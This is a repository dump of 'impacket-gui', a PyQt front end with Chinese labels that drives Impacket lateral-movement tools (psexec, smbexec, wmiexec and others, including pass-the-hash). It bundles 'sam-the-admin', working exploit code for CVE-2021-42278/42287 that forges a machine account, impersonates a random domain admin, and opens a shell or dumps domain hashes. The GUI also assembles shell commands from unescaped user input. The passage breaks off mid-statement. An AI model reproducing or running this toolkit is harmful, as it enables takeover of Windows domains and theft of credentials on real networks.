| password_entry = QLineEdit() 338 | password_entry.setEchoMode(QLineEdit.Password) 339 | hashes_label = QLabel("哈希:") 340 | hashes_entry = QLineEdit() 341 | command_label = QLabel(f"执行方式为 {tab_name}:") 342 | command_entry = QLineEdit() 343 | result_text = QTextEdit() 344 | 345 | codec_combobox = QComboBox() 346 | codec_combobox.addItems(["utf-8", "gbk"]) 347 | codec_combobox.setCurrentIndex(0) 348 | 349 | result_text.setReadOnly(True) 350 | 351 | execute_button = QPushButton("执行命令") 352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText())) 353 | 354 | tab_layout = QVBoxLayout() 355 | tab_layout.addWidget(codec_combobox) 356 | tab_layout.addWidget(ip_label) 357 | tab_layout.addWidget(ip_entry) 358 | tab_layout.addWidget(username_label) 359 | tab_layout.addWidget(username_entry) 360 | tab_layout.addWidget(password_label) 361 | tab_layout.addWidget(password_entry) 362 | tab_layout.addWidget(hashes_label) 363 | tab_layout.addWidget(hashes_entry) 364 | tab_layout.addWidget(command_label) 365 | tab_layout.addWidget(command_entry) 366 | tab_layout.addWidget(execute_button) 367 | tab_layout.addWidget(result_text) 368 | 369 | tab.setLayout(tab_layout) 370 | 371 | 372 | def open_about_url(self): 373 | about_url = "https://github.com/yutianqaq/impacket-gui" 374 | QDesktopServices.openUrl(QUrl(about_url)) 375 | 376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec): 377 | 378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}" 379 | if hashes: 380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}" 381 | 382 | executor = CommandExecutor(cmd) 383 | executor.command_output.connect(result_text.append) 384 | executor.finished.connect(executor.deleteLater) 385 | 386 | executor_thread = QThread() 387 | executor.moveToThread(executor_thread) 388 | executor_thread.started.connect(executor.run) 389 | executor_thread.finished.connect(executor_thread.deleteLater) 390 | 391 | self.executor_threads.append(executor_thread) 392 | executor_thread.start() 393 | 394 | while executor_thread.isRunning(): 395 | QCoreApplication.processEvents() 396 | 397 | def closeEvent(self, event): 398 | for executor_thread in self.executor_threads: 399 | executor_thread.quit() 400 | executor_thread.wait() 401 | 402 | event.accept() 403 | if __name__ == '__main__': 404 | app = QApplication(sys.argv) 405 | tab_widget = QTabWidget() 406 | 407 | impacket_executor = ImpacketExecutor() 408 | impacket_terminal_tab = ImpacketTerminal() 409 | sam_the_admin_tab = SamTheAdmin() 410 | 411 | tab_widget.addTab(impacket_executor, "横向移动") 412 | tab_widget.addTab(impacket_terminal_tab, "横向移动交互式") 413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin-域控测试") 414 | 415 | window = QWidget() 416 | window.setWindowTitle("Impacket GUI") 417 | window.resize(1200, 800) 418 | window.setWindowIcon(QIcon("./logo.jpg")) 419 | 420 | layout = QVBoxLayout() 421 | layout.addWidget(tab_widget) 422 | window.setLayout(layout) 423 | 424 | window.show() 425 | sys.exit(app.exec_()) 426 | -------------------------------------------------------------------------------- /impacket-gui_PyQt6.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | from PyQt6.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit 4 | from PyQt6.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl 5 | from PyQt6.QtGui import QIcon, QFont, QDesktopServices, QTextCursor,QTextOption 6 | 7 | class InteractiveSession(QWidget): 8 | def __init__(self, ip, username, password, mode, codec): 9 | super().__init__() 10 | self.ip = ip 11 | self.username = username 12 | self.password = password 13 | self.mode = mode 14 | self.codec = codec 15 | self.session = None 16 | self.output_text = None 17 | self.init_ui() 18 | self.connect_and_execute() 19 | 20 | def init_ui(self): 21 | self.output_text = QPlainTextEdit() 22 | self.output_text.setReadOnly(True) 23 | self.output_text.setLineWrapMode(QPlainTextEdit.LineWrapMode.NoWrap) 24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;" 25 | self.output_text.setStyleSheet(output_style) 26 | 27 | self.input_text = QLineEdit() 28 | self.input_text.setMaximumHeight(30) 29 | self.input_text.setPlaceholderText("在此处输入命令") 30 | 31 | layout = QVBoxLayout() 32 | layout.addWidget(self.output_text) 33 | layout.addWidget(self.input_text) 34 | 35 | self.setLayout(layout) 36 | 37 | def keyPressEvent(self, event): 38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter: 39 | self.execute_command() 40 | 41 | 42 | def connect_and_execute(self): 43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}" 44 | 45 | if self.mode == "SamTheAdmin-shell": 46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\"" 47 | elif self.mode == "SamTheAdmin-dump": 48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\"" 49 | 50 | self.session = QProcess() 51 | self.session.setProcessChannelMode(QProcess.ProcessChannelMode.MergedChannels) 52 | self.session.readyReadStandardOutput.connect(self.update_terminal) 53 | self.session.start(cmd) 54 | self.session.waitForStarted() 55 | 56 | def execute_command(self): 57 | command = self.input_text.text() 58 | if command: 59 | self.input_text.clear() 60 | self.session.write(f"{command}\n".encode()) 61 | self.session.waitForBytesWritten() 62 | 63 | def update_terminal(self): 64 | output_data = self.session.readAllStandardOutput().data() 65 | print(output_data) 66 | output_data = self.decode_output(output_data) 67 | self.output_text.appendPlainText(output_data) 68 | 69 | 70 | def decode_output(self, output_data): 71 | encodings = ['utf-8', 'gb2312'] 72 | 73 | for encoding in encodings: 74 | try: 75 | output = output_data.decode(encoding).strip() 76 | return output 77 | except UnicodeDecodeError: 78 | pass 79 | 80 | return '' 81 | 82 | class ImpacketTerminal(QWidget): 83 | def __init__(self): 84 | super().__init__() 85 | self.init_ui() 86 | 87 | def init_ui(self): 88 | self.tab_widget = QTabWidget() 89 | add_session_button = QTextEdit("执行") 90 | add_session_button.setReadOnly(True) 91 | add_session_button.setAlignment(Qt.AlignmentFlag.AlignCenter) 92 | add_session_button.setFixedHeight(50) 93 | add_session_button.setStyleSheet("font-size: 18px;") 94 | add_session_button.viewport().setAutoFillBackground(False) 95 | 96 | # 添加连接模式下拉框 97 | self.mode_combobox = QComboBox() 98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"]) 99 | self.mode_combobox.setCurrentIndex(0) 100 | 101 | 102 | self.codec_combobox = QComboBox() 103 | self.codec_combobox.addItems(["utf-8", "gbk"]) 104 | self.codec_combobox.setCurrentIndex(0) 105 | 106 | # 添加IP、用户名、密码输入框 107 | self.ip_input = QLineEdit() 108 | self.ip_input.setPlaceholderText("请输入 IP 地址") 109 | 110 | self.username_input = QLineEdit() 111 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username") 112 | 113 | self.password_input = QLineEdit() 114 | self.password_input.setPlaceholderText("请输入密码") 115 | self.password_input.setEchoMode(QLineEdit.EchoMode.Password) 116 | 117 | 118 | 119 | # 添加关闭当前会话按钮 120 | close_session_button = QPushButton("关闭当前会话") 121 | close_session_button.clicked.connect(self.close_current_session) 122 | 123 | layout = QVBoxLayout() 124 | layout.addWidget(self.mode_combobox) 125 | layout.addWidget(self.codec_combobox) 126 | layout.addWidget(self.ip_input) 127 | layout.addWidget(self.username_input) 128 | layout.addWidget(self.password_input) 129 | layout.addWidget(add_session_button) 130 | layout.addWidget(self.tab_widget) 131 | layout.addWidget(close_session_button) # 添加关闭按钮 132 | 133 | self.setLayout(layout) 134 | 135 | add_session_button.mousePressEvent = self.add_session_tab 136 | 137 | # 用于保存输入框的文本 138 | self.saved_ip_text = "" 139 | self.saved_username_text = "" 140 | self.saved_password_text = "" 141 | 142 | def add_session_tab(self, event): 143 | ip = self.ip_input.text() 144 | username = self.username_input.text() 145 | password = self.password_input.text() 146 | 147 | # 获取用户选择的连接模式 148 | selected_mode = self.mode_combobox.currentText() 149 | selected_codec = self.codec_combobox.currentText() 150 | 151 | if ip and username and password: 152 | self.saved_ip_text = ip 153 | self.saved_username_text = username 154 | self.saved_password_text = password 155 | 156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec) 157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 158 | # self.ip_input.clear() 159 | # self.username_input.clear() 160 | # self.password_input.clear() 161 | 162 | else: 163 | # 在没有输入完整信息时显示错误消息 164 | QMessageBox.warning(self, "错误", "请输入完整") 165 | 166 | def close_current_session(self): 167 | current_index = self.tab_widget.currentIndex() 168 | if current_index >= 0: 169 | session_widget = self.tab_widget.widget(current_index) 170 | if isinstance(session_widget, InteractiveSession): 171 | session_widget.session.terminate() 172 | self.tab_widget.removeTab(current_index) 173 | 174 | class SamTheAdmin(QWidget): 175 | def __init__(self): 176 | super().__init__() 177 | self.init_ui() 178 | 179 | def init_ui(self): 180 | self.tab_widget = QTabWidget() 181 | add_session_button = QTextEdit("执行") 182 | add_session_button.setReadOnly(True) 183 | add_session_button.setAlignment(Qt.AlignmentFlag.AlignCenter) 184 | add_session_button.setFixedHeight(50) 185 | add_session_button.setStyleSheet("font-size: 18px;") 186 | add_session_button.viewport().setAutoFillBackground(False) 187 | 188 | # 添加连接模式下拉框 189 | self.mode_combobox = QComboBox() 190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"]) 191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式 192 | 193 | self.codec_combobox = QComboBox() 194 | self.codec_combobox.addItems(["utf-8", "gbk"]) 195 | self.codec_combobox.setCurrentIndex(0) 196 | 197 | # 添加IP、用户名、密码输入框 198 | self.ip_input = QLineEdit() 199 | self.ip_input.setPlaceholderText("请输入 IP 地址") 200 | 201 | self.username_input = QLineEdit() 202 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username") 203 | 204 | self.password_input = QLineEdit() 205 | self.password_input.setPlaceholderText("请输入密码") 206 | self.password_input.setEchoMode(QLineEdit.EchoMode.Password) 207 | 208 | 209 | 210 | # 添加关闭当前会话按钮 211 | close_session_button = QPushButton("关闭当前会话") 212 | close_session_button.clicked.connect(self.close_current_session) 213 | 214 | layout = QVBoxLayout() 215 | layout.addWidget(self.mode_combobox) 216 | layout.addWidget(self.codec_combobox) 217 | layout.addWidget(self.ip_input) 218 | layout.addWidget(self.username_input) 219 | layout.addWidget(self.password_input) 220 | layout.addWidget(add_session_button) 221 | layout.addWidget(self.tab_widget) 222 | layout.addWidget(close_session_button) # 添加关闭按钮 223 | 224 | self.setLayout(layout) 225 | 226 | add_session_button.mousePressEvent = self.add_session_tab 227 | 228 | # 用于保存输入框的文本 229 | self.saved_ip_text = "" 230 | self.saved_username_text = "" 231 | self.saved_password_text = "" 232 | 233 | def add_session_tab(self, event): 234 | ip = self.ip_input.text() 235 | username = self.username_input.text() 236 | password = self.password_input.text() 237 | 238 | # 获取用户选择的连接模式 239 | selected_mode = self.mode_combobox.currentText() 240 | codec_mode = self.codec_combobox.currentText() 241 | 242 | if ip and username and password: 243 | self.saved_ip_text = ip 244 | self.saved_username_text = username 245 | self.saved_password_text = password 246 | 247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode) 248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 249 | # self.ip_input.clear() 250 | # self.username_input.clear() 251 | # self.password_input.clear() 252 | 253 | else: 254 | # 在没有输入完整信息时显示错误消息 255 | QMessageBox.warning(self, "错误", "请输入完整") 256 | 257 | def close_current_session(self): 258 | current_index = self.tab_widget.currentIndex() 259 | if current_index >= 0: 260 | session_widget = self.tab_widget.widget(current_index) 261 | if isinstance(session_widget, InteractiveSession): 262 | session_widget.session.terminate() 263 | self.tab_widget.removeTab(current_index) 264 | 265 | class CommandExecutor(QThread): 266 | command_output = pyqtSignal(str) 267 | 268 | def __init__(self, command): 269 | super().__init__() 270 | self.command = command 271 | 272 | def run(self): 273 | process = QProcess() 274 | self.command_output.emit(f"impacket-GUI > {self.command}") 275 | process.readyReadStandardOutput.connect(self.handle_output) 276 | process.finished.connect(self.finished) 277 | 278 | process.start(self.command) 279 | process.waitForFinished(-1) 280 | 281 | output_data = process.readAllStandardOutput().data() 282 | output = self.decode_output(output_data) 283 | self.command_output.emit(output) 284 | 285 | def handle_output(self): 286 | output_data = self.sender().readAllStandardOutput().data() 287 | output = self.decode_output(output_data) 288 | self.command_output.emit(output) 289 | 290 | def decode_output(self, output_data): 291 | encodings = ['utf-8', 'gb2312'] 292 | 293 | for encoding in encodings: 294 | try: 295 | output = output_data.decode(encoding).strip() 296 | return output 297 | except UnicodeDecodeError: 298 | pass 299 | 300 | return '' 301 | 302 | class ImpacketExecutor(QWidget): 303 | def __init__(self): 304 | super().__init__() 305 | self.setWindowTitle("Impacket-GUI") 306 | self.setFont(QFont('Microsoft YaHei', 12)) 307 | self.init_ui() 308 | 309 | def init_ui(self): 310 | self.tab_widget = QTabWidget() 311 | 312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"] 313 | self.executor_threads = [] 314 | 315 | for tab_name in tabs: 316 | tab = QWidget() 317 | self.init_tab(tab, tab_name) 318 | self.tab_widget.addTab(tab, tab_name) 319 | 320 | layout = QVBoxLayout() 321 | layout.addWidget(self.tab_widget) 322 | 323 | 324 | 325 | about_button = QPushButton("关于") 326 | about_button.clicked.connect(self.open_about_url) 327 | layout.addWidget(about_button) 328 | 329 | self.setLayout(layout) 330 | 331 | def init_tab(self, tab, tab_name): 332 | ip_label = QLabel("IP 地址:") 333 | ip_entry = QLineEdit() 334 | username_label = QLabel("用户名:") 335 | username_entry = QLineEdit() 336 | password_label = QLabel("密码:") 337 | password_entry = QLineEdit() 338 | password_entry.setEchoMode(QLineEdit.EchoMode.Password) 339 | hashes_label = QLabel("哈希:") 340 | hashes_entry = QLineEdit() 341 | command_label = QLabel(f"执行方式为 {tab_name}:") 342 | command_entry = QLineEdit() 343 | result_text = QTextEdit() 344 | 345 | codec_combobox = QComboBox() 346 | codec_combobox.addItems(["utf-8", "gbk"]) 347 | codec_combobox.setCurrentIndex(0) 348 | 349 | result_text.setReadOnly(True) 350 | 351 | execute_button = QPushButton("执行命令") 352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText())) 353 | 354 | tab_layout = QVBoxLayout() 355 | tab_layout.addWidget(codec_combobox) 356 | tab_layout.addWidget(ip_label) 357 | tab_layout.addWidget(ip_entry) 358 | tab_layout.addWidget(username_label) 359 | tab_layout.addWidget(username_entry) 360 | tab_layout.addWidget(password_label) 361 | tab_layout.addWidget(password_entry) 362 | tab_layout.addWidget(hashes_label) 363 | tab_layout.addWidget(hashes_entry) 364 | tab_layout.addWidget(command_label) 365 | tab_layout.addWidget(command_entry) 366 | tab_layout.addWidget(execute_button) 367 | tab_layout.addWidget(result_text) 368 | 369 | tab.setLayout(tab_layout) 370 | 371 | 372 | def open_about_url(self): 373 | about_url = "https://github.com/yutianqaq/impacket-gui" 374 | QDesktopServices.openUrl(QUrl(about_url)) 375 | 376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec): 377 | 378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}" 379 | if hashes: 380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}" 381 | 382 | executor = CommandExecutor(cmd) 383 | executor.command_output.connect(result_text.append) 384 | executor.finished.connect(executor.deleteLater) 385 | 386 | executor_thread = QThread() 387 | executor.moveToThread(executor_thread) 388 | executor_thread.started.connect(executor.run) 389 | executor_thread.finished.connect(executor_thread.deleteLater) 390 | 391 | self.executor_threads.append(executor_thread) 392 | executor_thread.start() 393 | 394 | while executor_thread.isRunning(): 395 | QCoreApplication.processEvents() 396 | 397 | def closeEvent(self, event): 398 | for executor_thread in self.executor_threads: 399 | executor_thread.quit() 400 | executor_thread.wait() 401 | 402 | event.accept() 403 | if __name__ == '__main__': 404 | app = QApplication(sys.argv) 405 | tab_widget = QTabWidget() 406 | 407 | impacket_executor = ImpacketExecutor() 408 | impacket_terminal_tab = ImpacketTerminal() 409 | sam_the_admin_tab = SamTheAdmin() 410 | 411 | tab_widget.addTab(impacket_executor, "横向移动") 412 | tab_widget.addTab(impacket_terminal_tab, "横向移动交互式") 413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin-域控测试") 414 | 415 | window = QWidget() 416 | window.setWindowTitle("Impacket GUI") 417 | window.resize(1200, 800) 418 | window.setWindowIcon(QIcon("./logo.jpg")) 419 | 420 | layout = QVBoxLayout() 421 | layout.addWidget(tab_widget) 422 | window.setLayout(layout) 423 | 424 | window.show() 425 | sys.exit(app.exec()) 426 | -------------------------------------------------------------------------------- /logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/logo.jpg -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket==0.11.0 2 | ldap3==2.9.1 3 | ldapdomaindump==0.9.4 4 | pyasn1==0.5.0 5 | PyQt5==5.15.9 6 | PyQt5_sip==12.12.2 7 | six==1.16.0 8 | -------------------------------------------------------------------------------- /requirements_PyQt6.txt: -------------------------------------------------------------------------------- 1 | impacket==0.11.0 2 | ldap3==2.9.1 3 | ldapdomaindump==0.9.4 4 | pyasn1==0.5.0 5 | six==1.16.0 6 | pyqt6 -------------------------------------------------------------------------------- /sam-the-admin/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # PyCharm 7 | .idea/ 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | wheels/ 26 | pip-wheel-metadata/ 27 | share/python-wheels/ 28 | *.egg-info/ 29 | .installed.cfg 30 | *.egg 31 | MANIFEST 32 | 33 | # PyInstaller 34 | # Usually these files are written by a python script from a template 35 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 36 | *.manifest 37 | *.spec 38 | 39 | # Installer logs 40 | pip-log.txt 41 | pip-delete-this-directory.txt 42 | 43 | # Unit test / coverage reports 44 | htmlcov/ 45 | .tox/ 46 | .nox/ 47 | .coverage 48 | .coverage.* 49 | .cache 50 | nosetests.xml 51 | coverage.xml 52 | *.cover 53 | *.py,cover 54 | .hypothesis/ 55 | .pytest_cache/ 56 | 57 | # Translations 58 | *.mo 59 | *.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | db.sqlite3 65 | db.sqlite3-journal 66 | 67 | # Flask stuff: 68 | instance/ 69 | .webassets-cache 70 | 71 | # Scrapy stuff: 72 | .scrapy 73 | 74 | # Sphinx documentation 75 | docs/_build/ 76 | 77 | # PyBuilder 78 | target/ 79 | 80 | # Jupyter Notebook 81 | .ipynb_checkpoints 82 | 83 | # IPython 84 | profile_default/ 85 | ipython_config.py 86 | 87 | # pyenv 88 | .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | -------------------------------------------------------------------------------- /sam-the-admin/README.md: -------------------------------------------------------------------------------- 1 | Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user 2 | 3 | [![asciicast](https://asciinema.org/a/SnQ66XtmZLzXZQ8QwWwAYs8Dm.svg)](https://asciinema.org/a/SnQ66XtmZLzXZQ8QwWwAYs8Dm) 4 | 5 | ### Known issues 6 | - it will not work outside kali , i will update it later on :) 7 | 8 | #### Check out 9 | - [CVE-2021-42287/CVE-2021-42278 Weaponisation ](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) 10 | - [sAMAccountName spoofing](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) 11 | -------------------------------------------------------------------------------- /sam-the-admin/requirements.txt: -------------------------------------------------------------------------------- 1 | impacket==0.9.24 -------------------------------------------------------------------------------- /sam-the-admin/sam_the_admin.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from __future__ import print_function 3 | from __future__ import unicode_literals 4 | 5 | from impacket import version 6 | from impacket.examples import logger 7 | from impacket.examples.utils import parse_credentials 8 | 9 | 10 | import argparse 11 | import logging 12 | import sys 13 | import string 14 | import random 15 | import ssl 16 | import os 17 | from binascii import unhexlify 18 | import ldapdomaindump 19 | import ldap3 20 | import time 21 | 22 | from utils.helper import * 23 | from utils.addcomputer import AddComputerSAMR 24 | from utils.S4U2self import GETST 25 | 26 | characters = list(string.ascii_letters + string.digits + "!@#$%^&*()") 27 | 28 | 29 | def samtheadmin(options): 30 | new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$" 31 | new_computer_password = ''.join(random.choice(characters) for _ in range(12)) 32 | 33 | domain, username, password, lmhash, nthash = parse_identity(options) 34 | ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash) 35 | 36 | cnf = ldapdomaindump.domainDumpConfig() 37 | cnf.basepath = None 38 | domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) 39 | MachineAccountQuota = 10 40 | for i in domain_dumper.getDomainPolicy(): 41 | MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota'])) 42 | rootsid = domain_dumper.getRootSid() 43 | 44 | dcinfos = get_dc_hosts(ldap_session, domain_dumper) 45 | if len(dcinfos) == 0: 46 | logging.critical("Cannot get domain info") 47 | exit(1) 48 | 49 | dcinfo = dcinfos[0] 50 | found = False 51 | if options.dc_host: 52 | for d in dcinfos: 53 | if any(name.lower() == options.dc_host.lower() for name in d['dNSHostName']): 54 | dcinfo = d 55 | found = True 56 | break 57 | if not found: 58 | print("[-] WARNING: Target host is not a DC") 59 | dc_host = dcinfo['name'][0].lower() 60 | dcfull = dcinfo['dNSHostName'][0].lower() 61 | logging.info(f'Selected Target {dcfull}') 62 | domainAdmins = get_domain_admins(ldap_session, domain_dumper) 63 | random_domain_admin = random.choice(domainAdmins) 64 | logging.info(f'Total Domain Admins {len(domainAdmins)}') 65 | logging.info(f'will try to impersonate {random_domain_admin}') 66 | 67 | # udata = get_user_info(username, ldap_session, domain_dumper) 68 | if MachineAccountQuota < 0: 69 | logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}') 70 | exit() 71 | else: 72 | logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}') 73 | 74 | logging.info(f'Adding Computer Account "{new_computer_name}"') 75 | logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_password}') 76 | 77 | # Creating Machine Account 78 | addmachineaccount = AddComputerSAMR( 79 | username, 80 | password, 81 | domain, 82 | options, 83 | computer_name=new_computer_name, 84 | computer_pass=new_computer_password) 85 | addmachineaccount.run() 86 | 87 | # CVE-2021-42278 88 | new_machine_dn = None 89 | dn = get_user_info(new_computer_name, ldap_session, domain_dumper) 90 | if dn: 91 | new_machine_dn = str(dn['dn']) 92 | logging.info(f'{new_computer_name} object = {new_machine_dn}') 93 | 94 | if new_machine_dn: 95 | ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]}) 96 | if ldap_session.result['result'] == 0: 97 | logging.info(f'{new_computer_name} sAMAccountName == {dc_host}') 98 | else: 99 | logging.error('Cannot rename the machine account , target patched') 100 | exit() 101 | 102 | # Getting a ticket 103 | getting_tgt = GETTGT(dc_host, new_computer_password, domain, options) 104 | getting_tgt.run() 105 | dcticket = str(dc_host + '.ccache') 106 | 107 | # Restoring Old Values 108 | logging.info(f"Resting the machine account to {new_computer_name}") 109 | dn = get_user_info(dc_host, ldap_session, domain_dumper) 110 | ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]}) 111 | if ldap_session.result['result'] == 0: 112 | logging.info(f'Restored {new_computer_name} sAMAccountName to original value') 113 | else: 114 | logging.error('Cannot restore the old name lol') 115 | 116 | os.environ["KRB5CCNAME"] = dcticket 117 | executer = GETST( 118 | None, 119 | None, 120 | domain, 121 | options, 122 | impersonate_target=random_domain_admin, 123 | target_spn=f"cifs/{dcfull}" 124 | ) 125 | executer.run() 126 | 127 | adminticket = str(random_domain_admin + '.ccache') 128 | os.environ["KRB5CCNAME"] = adminticket 129 | 130 | # will do something else later on 131 | fbinary = "../examples/smbexec.py" 132 | if options.dump: 133 | fbinary = "/usr/bin/impacket-secretsdump" 134 | 135 | cmd = f"{fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'" 136 | os.system(f"echo {dcfull} > ./dcfull") 137 | get_shell = f"SET KRB5CCNAME='{adminticket}' {cmd}" 138 | if options.shell: 139 | os.system(get_shell) 140 | 141 | print("[*] You can deploy a shell when you want using the following command:") 142 | print(f"[$] {get_shell}") 143 | 144 | if options.purge: 145 | os.system("rm *.ccache") 146 | 147 | 148 | if __name__ == '__main__': 149 | # Init the example's logger theme 150 | logger.init() 151 | print((version.BANNER)) 152 | 153 | parser = argparse.ArgumentParser(add_help=True, description="SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain") 154 | 155 | parser.add_argument('account', action='store', metavar='[domain/]username[:password]', 156 | help='Account used to authenticate to DC.') 157 | parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', 158 | help='Domain NetBIOS name. Required if the DC has multiple domains.') 159 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 160 | parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec') 161 | parser.add_argument('-purge', action='store_true', help='Purge all collected .ccache files') 162 | parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump') 163 | 164 | parser.add_argument('-port', type=int, choices=[139, 445, 636], 165 | help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.') 166 | 167 | group = parser.add_argument_group('authentication') 168 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 169 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 170 | group.add_argument('-k', action="store_true", 171 | help='Use Kerberos authentication. Grabs credentials from ccache file ' 172 | '(KRB5CCNAME) based on account parameters. If valid credentials ' 173 | 'cannot be found, it will use the ones specified in the command ' 174 | 'line') 175 | group.add_argument('-aesKey', action="store", metavar="hex key", 176 | help='AES key to use for Kerberos Authentication (128 or 256 bits)') 177 | group.add_argument('-dc-host', action='store', metavar="hostname", 178 | help='Hostname of the domain controller to use. If ommited, the domain part (FQDN) ' 179 | 'specified in the account parameter will be used') 180 | group.add_argument('-dc-ip', action='store', metavar="ip", 181 | help='IP of the domain controller to use. Useful if you can\'t translate the FQDN.' 182 | 'specified in the account parameter will be used') 183 | parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') 184 | 185 | if len(sys.argv)==1: 186 | parser.print_help() 187 | sys.exit(1) 188 | 189 | options = parser.parse_args() 190 | 191 | if options.debug is True: 192 | logging.getLogger().setLevel(logging.DEBUG) 193 | # Print the Library's installation path 194 | logging.debug(version.getInstallationPath()) 195 | else: 196 | logging.getLogger().setLevel(logging.INFO) 197 | 198 | domain, username, password = parse_credentials(options.account) 199 | account_format_invalid = False 200 | try: 201 | while domain is None or domain == '': 202 | account_format_invalid = True 203 | logging.critical('Domain should be specified!') 204 | domain = input("[*] Please specify a domain: ") 205 | 206 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 207 | account_format_invalid = True 208 | from getpass import getpass 209 | password = getpass(f"[*] Password for account {username}: ") 210 | 211 | if options.aesKey is not None: 212 | options.k = True 213 | 214 | if account_format_invalid and password and password != "": 215 | options.account = f"{domain}/{username}:{password}" 216 | 217 | if account_format_invalid and not password and password == "": 218 | options.account = 